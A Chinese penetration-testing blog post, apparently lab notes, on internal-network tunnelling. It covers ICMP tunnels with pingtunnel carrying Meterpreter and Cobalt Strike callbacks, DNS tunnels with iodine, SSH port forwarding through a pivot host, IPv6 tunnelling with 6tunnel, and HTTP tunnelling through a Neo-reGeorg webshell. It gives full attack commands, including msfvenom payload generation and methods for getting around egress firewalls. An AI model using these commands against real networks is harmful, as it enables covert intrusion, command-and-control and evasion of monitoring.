Featured image of post 内网隧道技术

内网隧道技术

内网隧道技术

隧道技术

1
2
代理:解决不同网段直接网络无法通信
隧道:解决协议不出网通过其它协议进行封装通信

img

1.通过防火墙限制端口出入站

1.1.开启&创建防火墙规则

image-20240526212041630

1
开启防火墙后原先开启的网站无法访问,此时如果想要别人访问可以在防火墙新建一条规则,允许其它主机访问80端口

image-20240526212246111

1
2
入站规则:别人访问你时要遵守的规则
出站规则:你要和别人通信时遵守的规则

image-20240526213310489

1
创建防火墙规则

1.2.协议向下兼容

1
比如:如果防火墙禁用所有TCP协议,那么通过应用层的http协议也无法进行通信,但是可以使用网络层的ICMP协议创建隧道进行通信

image-20240526215331877

2.隧道技术

2.1.ICMP隧道

1
2
此时我在防火墙上出站规则设置禁止TCP协议出网,入站规则设置ICMP入站,所以现在可以ping baidu但是不能访问百度
采用ping命令判断是否可以搭建ICMP隧道

image-20240528100901823

1
2
3
https://github.com/esrrha/spp
https://github.com/bdamele/icmpsh
https://github.com/esrrhs/pingtunnel

2.1.1.将TCP协议封装为ICMP协议

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=3333 -f exe > bliss.exe
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse tcp
set lhost 0.0.0.0
set lport 6666
exploit
Kal开启隧道
./pingtunnel -type server
Win开启隧道/将本地3333 icmp协议数据转发至192.168.214.156kali 6666流量上(管理员运行)
pingtunnel.exe -type client -l 127.0.0.1:3333 -s 192.168.214.156 -t 192.168.214.156:6666 -tcp 1 -noprint 1 -nolog 1

image-20240528110206394

1
使用隧道技术无法发现受害者主机外联IP,只能看到自己主机开放3333和6666端口

image-20240528110246117

Wireshark抓包均为ICMP流量

image-20240528110649774

2.1.2.ICMP协议上线CS

1
新建2个监听器

image-20240528155413494

1
2
3
4
5
6
使用127.0.0.1的监听器生成木马(stageless)
开启隧道
./pingtunnel -type server
Win开启隧道/将本地3333 icmp协议数据转发至192.168.214.156(kali) 的6666流量上(管理员运行)
pingtunnel.exe -type client -l 127.0.0.1:3333 -s 192.168.214.156 -t 192.168.214.156:6666 -tcp 1 -noprint 1 -nolog 1
上传木马运行,上线监听器2

image-20240528155556658

2.2.DNS隧道

1
2
使用nslookup或dig命令判断是否可以使用DNS隧道
nslookup www.baidu.com
1
使用DNS上线需要准备域名

2.2.1.配置DNS解析到上线域名

image-20240611104309362

2.2.2.CS创建监听器

image-20240611104653842

2.2.3.DNS上线CS

1
将木马文件上传至主机,运行

image-20240611104903569

此时是一条黑窗口,需要执行一条命令

1
mode dns-txt

执行完成后稍等即可上线

image-20240611105049310

2.2.4.DNS隧道工具

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
https://github.com/yarrick/iodine

使用:服务端
iodined -f -c -P xiaodi 192.168.0.1 ns1.lsec.buzz -DD 
-P:设置密码为xiaodi
192.168.0.1是虚拟IP,这个可以随意,此时服务器上会多出一条DNS网卡
ns1.lsec.buzz 是你指向的DNS地址

客户端:
iodine.exe -M 200 -P xiaodi ns1.lsec.buzz

2.3.SSH隧道

1
2
建立隧道条件:获取内网中一台Linux主机权限作为跳板机
https://blog.csdn.net/weixin_45007073/article/details/116069662

2.3.1.ssh命令参数介绍

image-20240611150336459

image-20240611154105277

2.3.2.ssh远程转发

1
2
将目标主机192.168.200.129上80端口转发到vps124.220.229.186的1234端口
ssh -CfNg -R 1234:192.168.200.129:80 root@124.220.229.186            在跳板机kali上执行该命令

image-20240611160345127

2.3.3.ssh本地转发

测试环境为:攻击者的VPS能访问内网Web服务器,但不能访问数据库服务器,内网Web服务器和数据库服务器可以相互访问。我们现在以Web服务器172.16.179.68为跳板,将内网数据库服务器192.168.108.108的3389端口映射到VPS机器172.16.179.87的1153端口,再访问VPS的1153端口,就可以访问数据库服务器的3389端口了。以下为网络通信拓扑图

image-20260303153045184

1
ssh -CfNg -L 1153(VPS端口):192.168.108.108(目标主机):3389(目标端口) root@172.16.179.68(跳板机)

image-20260303153204112

输入完密码后,我们查看下本地1153端口是否已经连接。可以看到,在本地映射时,本地的SSH进程会监听1153端口。

执行rdesktop 127.0.0.1:1153命令访问本地VPS的1153端口。可以发现已经与数据库服务器的3389端口建立了连接。

image-20260303153251197

2.3.4.ssh动态转发

https://zhuanlan.zhihu.com/p/173826525

动态端口映射就是建立一个SSH加密的SOCKS4/5代理通道。任何支持SOCKS4/5协议的程序都可以使用这个加密通道进行代理访问。

首先我们在VPS上执行如下命令,建立一个动态的SOCKS4/5代理通道

1
ssh -CfNg -D 1010 root@192.168.66.128

image-20260303153515076

SSH隧道防御:SSH隧道之所以能够被攻击者利用,是因为系统访问控制措施不够。我们必须在系统中配置SSH远程管理白名单,在ACL中限制只有特定的IP地址才能连接SSH,以及设置系统完全使用带外管理等。我们在内网中至少得限制SSH远程登录的地址和双向访问控制策略。

2.4.IPV6隧道

“IPv6"是"Internet Protocol Version 6"的缩写,也被称为下一代互联网协议,它是由IETF设计用来代替现行的IPv4协议的一种新的IP协议,IPv4目使用了20多年,目前已近匮乏,而IPv6则能从根本上解决这些问题,现在,由于IPv4资源几乎耗尽,IPv6开始进入过渡阶段。

IPv6隧道技术是指通过IPv4隧道传送到IPv6数据报文的技术,为了在IPv4海洋中传递IPv6信息,可以将IPv4作为隧道载体,将IPv6报文整个封装在IPv4数据报文中,使IPv6报文能够穿过IPv4海洋,到达另外一个IPv6小岛。

打个比方来说,类似于快递公司收取包裹之后,发现自己在目的地没有站点,无法投送,则将次包裹转交给能够到达目的地的快递公司(例如:邮政)来投递,也就是说,将快递公司已经封装好的包裹(类似于IPv6报文),用邮政的包装箱再来封装一次(类似于封装成IPv4报文),以便这个包裹在邮政系统(IPv4海洋)中能够被正常传递。

image-20260303151545485

image-20260303151630966

2.4.1.6tunnel实现内网穿透

6tunnel不支持多个端口转发,如果有其他服务的端口需要转发,需要再次运行6tunnel,运行后会自动在后台运行。

1
2
3
4
5
https://github.com/wojtekka/6tunnel             下载
tar -zxvf 6tunnel.tar.gz                        解压
cd 6tunnel-0.13                                 进入目录
./configure                                     编译
make && make install                            安装

image-20260303151846022

1
2
3
6tunnel -4 88 fe80::20c:29ff:feda:8dcf%eth0 80 
88为本地端口, fe80::20c:29ff:feda:8dcf%eth0为centos的ipv6地址%eth0为centos接口地址,80为centos的端口
访问kali的88端口即可访问centos的80端口

image-20260303151959827

1
2
6tunnel -4 2222 fe80::20c:29ff:feda:8dcf%eth0 22
kali:ssh root@127.0.0.1 -p 2222

image-20260303152056704

2.5.Http隧道

img

2.5.1.Neo-reGeorg

使用curl来判断能否搭建Http隧道

img

https://github.com/L-codes/Neo-reGeorg

1
2
3
kali:192.168.61.163           攻击机
linux:192.168.61.162  192.168.66.132  跳板机
windows 192.168.66.133 192.168.186.134  靶机
1
2
3
python3 neoreg.py generate -k lsec.io  生成自定义连接密码的shell。传到跳板机
python3 neoreg.py -k lsec.io -p 1099 -u http://192.168.61.162/tunnel.php
-k 指定连接密码 -p 指定socks监听端口 -u 指定shell代理路径

将浏览器代理设置为socks5代理,并指想本机1099端口,即可访问靶机的端口

image-20260303154014939

2.5.2.冰蝎&哥斯拉自带http隧道

image-20260303165304742

By Lsec
最后更新于 Mar 03, 2026 17:08 +0800
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计
¹鵵ҳ